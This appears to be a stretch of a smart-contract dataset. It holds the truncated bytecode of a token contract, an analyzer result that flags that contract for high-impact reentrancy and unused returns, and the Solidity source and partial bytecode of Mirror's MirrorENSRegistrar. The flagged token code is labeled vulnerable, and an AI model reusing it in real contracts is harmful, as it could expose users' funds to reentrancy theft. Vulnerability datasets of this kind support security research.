ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612ca9565b60405180910390fd5b6103e86111488261113a8587611d3690919063ffffffff16565b611d3690919063ffffffff16565b1115611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612c69565b60405180910390fd5b82600a819055508160088190555080600c81905550600a54600b81905550600854600981905550600c54600d819055507fcf8a1e1d5f09cf3c97dbb653cd9a4d7aace9292fbc1bb8211febf2d400febbdd600a54600854600c546040516111f293929190612de7565b60405180910390a1505050565b6112076113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611294576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128b90612ca9565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112f76113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612ca9565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e90612d29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612c09565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a59190612d49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990612d09565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611692576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168990612be9565b60405180910390fd5b600081116116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc90612cc9565b60405180910390fd5b6116dd610bb7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174b575061171b610bb7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae457601660009054906101000a900460ff1661176957600080fd5b60155481111561177857600080fd5b61012c6006546117889190612e8e565b42116117b8576117ab6064683635c9adc5dea0000061210990919063ffffffff16565b8111156117b757600080fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118635750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118df5761187f600754600654611d3690919063ffffffff16565b42116118de576001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006118ea30610a15565b9050601660019054906101000a900460ff161580156119575750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119ad5750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a035750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ae257601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aac5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ab557600080fd5b6000811115611ac857611ac781611d94565b5b60004790506000811115611ae057611adf47611c13565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8b5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b9557600090505b611ba184848484612153565b611ba961232c565b50505050565b6000838311158290611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee9190612bc7565b60405180910390fd5b5060008385611c069190612f6f565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c776064611c69600e548661208e90919063ffffffff16565b61210990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ca2573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d076064611cf9600f548661208e90919063ffffffff16565b61210990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d32573d6000803e3d6000fd5b5050565b6000808284611d459190612e8e565b905083811015611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190612c29565b60405180910390fd5b8091505092915050565b6001601660016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e205781602001602082028036833780820191505090505b5090503081600081518110611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f0057600080fd5b505afa158015611f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f389190612763565b81600181518110611f72577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e7565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203d959493929190612d64565b600060405180830381600087803b15801561205757600080fd5b505af115801561206b573d6000803e3d6000fd5b50505050506000601660016101000a81548160ff02191690831515021790555050565b6000808314156120a15760009050612103565b600082846120af9190612f15565b90508284826120be9190612ee4565b146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f590612c89565b60405180910390fd5b809150505b92915050565b600061214b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612349565b905092915050565b80612161576121606123ac565b5b6000806000806121708661240e565b93509350935093506121ca86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061225f84600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ab83612533565b6122b4826125cb565b6122bd81612663565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161231a9190612d49565b60405180910390a35050505050505050565b600b54600a81905550600954600881905550600d54600c81905550565b60008083118290612390576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123879190612bc7565b60405180910390fd5b506000838561239f9190612ee4565b9050809150509392505050565b6000600a541480156123c057506000600854145b80156123ce57506000600c54145b156123d85761240c565b600a54600b81905550600854600981905550600c54600d819055506000600a8190555060006008819055506000600c819055505b565b600080600080600061243f6103e86124316008548961208e90919063ffffffff16565b61210990919063ffffffff16565b9050600061246c6103e861245e600a548a61208e90919063ffffffff16565b61210990919063ffffffff16565b905060006124996103e861248b600c548b61208e90919063ffffffff16565b61210990919063ffffffff16565b905060006124c2836124b4868c6124e990919063ffffffff16565b6124e990919063ffffffff16565b905081816124d09190612f6f565b9050808484849750975097509750505050509193509193565b600061252b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611baf565b905092915050565b61258581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61261d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6126b581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008135905061270a81613379565b92915050565b60008151905061271f81613379565b92915050565b60008135905061273481613390565b92915050565b60006020828403121561274c57600080fd5b600061275a848285016126fb565b91505092915050565b60006020828403121561277557600080fd5b600061278384828501612710565b91505092915050565b6000806040838503121561279f57600080fd5b60006127ad858286016126fb565b92505060206127be858286016126fb565b9150509250929050565b6000806000606084860312156127dd57600080fd5b60006127eb868287016126fb565b93505060206127fc868287016126fb565b925050604061280d86828701612725565b9150509250925092565b6000806040838503121561282a57600080fd5b6000612838858286016126fb565b925050602061284985828601612725565b9150509250929050565b60006020828403121561286557600080fd5b600061287384828501612725565b91505092915050565b6000806040838503121561288f57600080fd5b600061289d85828601612725565b92505060206128ae85828601612725565b9150509250929050565b6000806000606084860312156128cd57600080fd5b60006128db86828701612725565b93505060206128ec86828701612725565b92505060406128fd86828701612725565b9150509250925092565b6000612913838361291f565b60208301905092915050565b61292881612fa3565b82525050565b61293781612fa3565b82525050565b600061294882612e49565b6129528185612e6c565b935061295d83612e39565b8060005b8381101561298e5781516129758882612907565b975061298083612e5f565b925050600181019050612961565b5085935050505092915050565b6129a481612fb5565b82525050565b6129b381612ff8565b82525050565b60006129c482612e54565b6129ce8185612e7d565b93506129de81856020860161300a565b6129e78161309b565b840191505092915050565b60006129ff602383612e7d565b9150612a0a826130ac565b604082019050919050565b6000612a22602283612e7d565b9150612a2d826130fb565b604082019050919050565b6000612a45601b83612e7d565b9150612a508261314a565b602082019050919050565b6000612a68601d83612e7d565b9150612a7382613173565b602082019050919050565b6000612a8b602783612e7d565b9150612a968261319c565b604082019050919050565b6000612aae602183612e7d565b9150612ab9826131eb565b604082019050919050565b6000612ad1602083612e7d565b9150612adc8261323a565b602082019050919050565b6000612af4602983612e7d565b9150612aff82613263565b604082019050919050565b6000612b17601e83612e7d565b9150612b22826132b2565b602082019050919050565b6000612b3a602583612e7d565b9150612b45826132db565b604082019050919050565b6000612b5d602483612e7d565b9150612b688261332a565b604082019050919050565b612b7c81612fe1565b82525050565b612b8b81612feb565b82525050565b6000602082019050612ba6600083018461292e565b92915050565b6000602082019050612bc1600083018461299b565b92915050565b60006020820190508181036000830152612be181846129b9565b905092915050565b60006020820190508181036000830152612c02816129f2565b9050919050565b60006020820190508181036000830152612c2281612a15565b9050919050565b60006020820190508181036000830152612c4281612a38565b9050919050565b60006020820190508181036000830152612c6281612a5b565b9050919050565b60006020820190508181036000830152612c8281612a7e565b9050919050565b60006020820190508181036000830152612ca281612aa1565b9050919050565b60006020820190508181036000830152612cc281612ac4565b9050919050565b60006020820190508181036000830152612ce281612ae7565b9050919050565b60006020820190508181036000830152612d0281612b0a565b9050919050565b60006020820190508181036000830152612d2281612b2d565b9050919050565b60006020820190508181036000830152612d4281612b50565b9050919050565b6000602082019050612d5e6000830184612b73565b92915050565b600060a082019050612d796000830188612b73565b612d8660208301876129aa565b8181036040830152612d98818661293d565b9050612da7606083018561292e565b612db46080830184612b73565b9695505050505050565b6000604082019050612dd36000830185612b73565b612de06020830184612b73565b9392505050565b6000606082019050612dfc6000830186612b73565b612e096020830185612b73565b612e166040830184612b73565b949350505050565b6000602082019050612e336000830184612b82565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e9982612fe1565b9150612ea483612fe1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ed957612ed861303d565b5b828201905092915050565b6000612eef82612fe1565b9150612efa83612fe1565b925082612f0a57612f0961306c565b5b828204905092915050565b6000612f2082612fe1565b9150612f2b83612fe1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6457612f6361303d565b5b828202905092915050565b6000612f7a82612fe1565b9150612f8583612fe1565b925082821015612f9857612f9761303d565b5b828203905092915050565b6000612fae82612fc1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061300382612fe1565b9050919050565b60005b8381101561302857808201518184015260208101905061300d565b83811115613037576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f53756d206f662073656c6c2066656573206d757374206265206c65737320746860008201527f616e203130303000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f53756d206f662070657263656e7473206d75737420657175616c203130300000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61338281612fa3565b811461338d57600080fd5b50565b61339981612fe1565b81146133a457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204130dc03ed495789ebfe5ad571f62b58ec151ec5de54fca6996d125bf2b16ce164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,789 |
0x0b53D523912593C18dD7C22AFd2c448BB48e1bf8
|
/**
*Submitted for verification at Etherscan.io on 2021-02-05
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.6.8;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
// Logged when an operator is added or removed.
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function setRecord(
bytes32 node,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeRecord(
bytes32 node,
bytes32 label,
address owner,
address resolver,
uint64 ttl
) external;
function setSubnodeOwner(
bytes32 node,
bytes32 label,
address owner
) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function setApprovalForAll(address operator, bool approved) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
function recordExists(bytes32 node) external view returns (bool);
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
}
interface IENSResolver {
event AddrChanged(bytes32 indexed _node, address _addr);
event NameChanged(bytes32 indexed _node, string _name);
function addr(bytes32 _node) external view returns (address);
function setAddr(bytes32 _node, address _addr) external;
function name(bytes32 _node) external view returns (string memory);
function setName(bytes32 _node, string calldata _name) external;
}
interface IENSReverseRegistrar {
function claim(address _owner) external returns (bytes32);
function claimWithResolver(address _owner, address _resolver)
external
returns (bytes32);
function setName(string calldata _name) external returns (bytes32);
function node(address _addr) external pure returns (bytes32);
}
interface IMirrorENSRegistrar {
function changeRootNodeOwner(address newOwner_) external;
function register(string calldata label_, address owner_) external;
function updateENSReverseRegistrar() external;
}
contract MirrorENSRegistrar is IMirrorENSRegistrar, Ownable {
// ============ Constants ============
/**
* namehash('addr.reverse')
*/
bytes32 public constant ADDR_REVERSE_NODE =
0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2;
// ============ Immutable Storage ============
/**
* The name of the ENS root, e.g. "mirror.xyz".
* @dev dependency injectable for testnet.
*/
string public rootName;
/**
* The node of the root name (e.g. namehash(mirror.xyz))
*/
bytes32 public immutable rootNode;
/**
* The address of the public ENS registry.
* @dev Dependency-injectable for testing purposes, but otherwise this is the
* canonical ENS registry at 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e.
*/
IENS public immutable ensRegistry;
/**
* The address of the MirrorWriteToken that gates access to this namespace.
*/
address public immutable writeToken;
/**
* The address of the MirrorENSResolver.
*/
IENSResolver public immutable ensResolver;
// ============ Mutable Storage ============
/**
* Set by anyone to the correct address after configuration,
* to prevent a lookup on each registration.
*/
IENSReverseRegistrar public reverseRegistrar;
// ============ Events ============
event RootNodeOwnerChange(bytes32 indexed node, address indexed owner);
event RegisteredENS(address indexed _owner, string _ens);
// ============ Modifiers ============
/**
* @dev Modifier to check whether the `msg.sender` is the MirrorWriteToken.
* If it is, it will run the function. Otherwise, it will revert.
*/
modifier onlyWriteToken() {
require(
msg.sender == writeToken,
"MirrorENSRegistrar: caller is not the Mirror Write Token"
);
_;
}
// ============ Constructor ============
/**
* @notice Constructor that sets the ENS root name and root node to manage.
* @param rootName_ The root name (e.g. mirror.xyz).
* @param rootNode_ The node of the root name (e.g. namehash(mirror.xyz)).
* @param ensRegistry_ The address of the ENS registry
* @param ensResolver_ The address of the ENS resolver
* @param writeToken_ The address of the Mirror Write Token
*/
constructor(
string memory rootName_,
bytes32 rootNode_,
address ensRegistry_,
address ensResolver_,
address writeToken_
) public {
rootName = rootName_;
rootNode = rootNode_;
writeToken = writeToken_;
// Registrations are cheaper if these are instantiated.
ensRegistry = IENS(ensRegistry_);
ensResolver = IENSResolver(ensResolver_);
}
// ============ Registration ============
/**
* @notice Assigns an ENS subdomain of the root node to a target address.
* Registers both the forward and reverse ENS. Can only be called by writeToken.
* @param label_ The subdomain label.
* @param owner_ The owner of the subdomain.
*/
function register(string calldata label_, address owner_)
external
override
onlyWriteToken
{
bytes32 labelNode = keccak256(abi.encodePacked(label_));
bytes32 node = keccak256(abi.encodePacked(rootNode, labelNode));
require(
ensRegistry.owner(node) == address(0),
"MirrorENSManager: label is already owned"
);
// Forward ENS
ensRegistry.setSubnodeRecord(
rootNode,
labelNode,
owner_,
address(ensResolver),
0
);
ensResolver.setAddr(node, owner_);
// Reverse ENS
string memory name = string(abi.encodePacked(label_, ".", rootName));
bytes32 reverseNode = reverseRegistrar.node(owner_);
ensResolver.setName(reverseNode, name);
emit RegisteredENS(owner_, name);
}
// ============ ENS Management ============
/**
* @notice This function must be called when the ENS Manager contract is replaced
* and the address of the new Manager should be provided.
* @param _newOwner The address of the new ENS manager that will manage the root node.
*/
function changeRootNodeOwner(address _newOwner)
external
override
onlyOwner
{
ensRegistry.setOwner(rootNode, _newOwner);
emit RootNodeOwnerChange(rootNode, _newOwner);
}
/**
* @notice Updates to the reverse registrar.
*/
function updateENSReverseRegistrar() external override onlyOwner {
reverseRegistrar = IENSReverseRegistrar(
ensRegistry.owner(ADDR_REVERSE_NODE)
);
}
}
|
0x608060405234801561001057600080fd5b50600436106100df5760003560e01c80637d73b2311161008c578063adce1c5f11610066578063adce1c5f146101eb578063f20387df146101f3578063f2fde38b14610270578063faff50a814610296576100df565b80637d73b231146101d357806380869853146101db5780638da5cb5b146101e3576100df565b806360b17c43116100bd57806360b17c43146101a9578063715018a6146101b15780637cf8a2eb146101b9576100df565b806301f644dd146100e45780630e77a8681461010c5780631e59c52914610130575b600080fd5b61010a600480360360208110156100fa57600080fd5b50356001600160a01b031661029e565b005b610114610419565b604080516001600160a01b039092168252519081900360200190f35b61010a6004803603604081101561014657600080fd5b81019060208101813564010000000081111561016157600080fd5b82018360208201111561017357600080fd5b8035906020019184600183028401116401000000008311171561019557600080fd5b9193509150356001600160a01b031661043d565b61010a610a8c565b61010a610bef565b6101c1610cb0565b60408051918252519081900360200190f35b610114610cd4565b610114610cf8565b610114610d07565b610114610d16565b6101fb610d3a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023557818101518382015260200161021d565b50505050905090810190601f1680156102625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61010a6004803603602081101561028657600080fd5b50356001600160a01b0316610de5565b6101c1610efc565b6102a6610f20565b6000546001600160a01b03908116911614610308576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b7f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e6001600160a01b0316635b0fc9c37f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad9836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b1580156103a857600080fd5b505af11580156103bc573d6000803e3d6000fd5b50506040516001600160a01b03841692507f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad991507f1feab6b73ead7720548833a318ec8adba961fdb81dc95f4303705f3d13e49f2690600090a350565b7f000000000000000000000000622236bb180256b6ae1a935dae08dc035614163281565b336001600160a01b037f000000000000000000000000622236bb180256b6ae1a935dae08dc035614163216146104a45760405162461bcd60e51b8152600401808060200182810382526038815260200180610f4b6038913960400191505060405180910390fd5b60008383604051602001808383808284376040805191909301818103601f1901825280845281516020928301207f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad983830152818501819052845180830386018152606083018087528151918501919091207f02571be300000000000000000000000000000000000000000000000000000000909152606483018190529451909850939650600095506001600160a01b037f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e1694506302571be393608480830194509091829003018186803b15801561059b57600080fd5b505afa1580156105af573d6000803e3d6000fd5b505050506040513d60208110156105c557600080fd5b50516001600160a01b03161461060c5760405162461bcd60e51b8152600401808060200182810382526028815260200180610f836028913960400191505060405180910390fd5b604080517f5ef2c7f00000000000000000000000000000000000000000000000000000000081527f1aaf79d9b3323ad0212f6a2f34f8c627d8d45e45a55c774d080e3077334bfad96004820152602481018490526001600160a01b0385811660448301527f000000000000000000000000c11796439c3202f4ef836eb126cc67eb378d52c88116606483015260006084830181905292517f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e90911692635ef2c7f09260a4808201939182900301818387803b1580156106ea57600080fd5b505af11580156106fe573d6000803e3d6000fd5b505050507f000000000000000000000000c11796439c3202f4ef836eb126cc67eb378d52c86001600160a01b031663d5fa2b0082856040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561078257600080fd5b505af1158015610796573d6000803e3d6000fd5b505050506060858560016040516020018084848082843780830192505050807f2e00000000000000000000000000000000000000000000000000000000000000815250600101828054600181600116156101000203166002900480156108335780601f10610811576101008083540402835291820191610833565b820191906000526020600020905b81548152906001019060200180831161081f575b505060408051601f198184030181528282526002547fbffbe61c0000000000000000000000000000000000000000000000000000000084526001600160a01b038c8116600486015292519198506000975091909116945063bffbe61c935060248083019350602092829003018186803b1580156108af57600080fd5b505afa1580156108c3573d6000803e3d6000fd5b505050506040513d60208110156108d957600080fd5b5051604080517f7737221300000000000000000000000000000000000000000000000000000000815260048101838152602482019283528551604483015285519394506001600160a01b037f000000000000000000000000c11796439c3202f4ef836eb126cc67eb378d52c816936377372213938693889392606490910190602085019080838360005b8381101561097b578181015183820152602001610963565b50505050905090810190601f1680156109a85780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156109c857600080fd5b505af11580156109dc573d6000803e3d6000fd5b50505050846001600160a01b03167f9f2a065383b236afdeb6e9b1d77966068499287f92b04c37831f34f565d14401836040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a49578181015183820152602001610a31565b50505050905090810190601f168015610a765780820380516001836020036101000a031916815260200191505b509250505060405180910390a250505050505050565b610a94610f20565b6000546001600160a01b03908116911614610af6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b604080517f02571be30000000000000000000000000000000000000000000000000000000081527f91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2600482015290516001600160a01b037f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e16916302571be3916024808301926020929190829003018186803b158015610b9557600080fd5b505afa158015610ba9573d6000803e3d6000fd5b505050506040513d6020811015610bbf57600080fd5b50516002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b610bf7610f20565b6000546001600160a01b03908116911614610c59576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b7f91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e281565b7f00000000000000000000000000000000000c2e074ec69a0dfb2997ba6c7d2e1e81565b6002546001600160a01b031681565b6000546001600160a01b031690565b7f000000000000000000000000c11796439c3202f4ef836eb126cc67eb378d52c881565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f81018490048402820184019092528181529291830182828015610ddd5780601f10610db257610100808354040283529160200191610ddd565b820191906000526020600020905b815481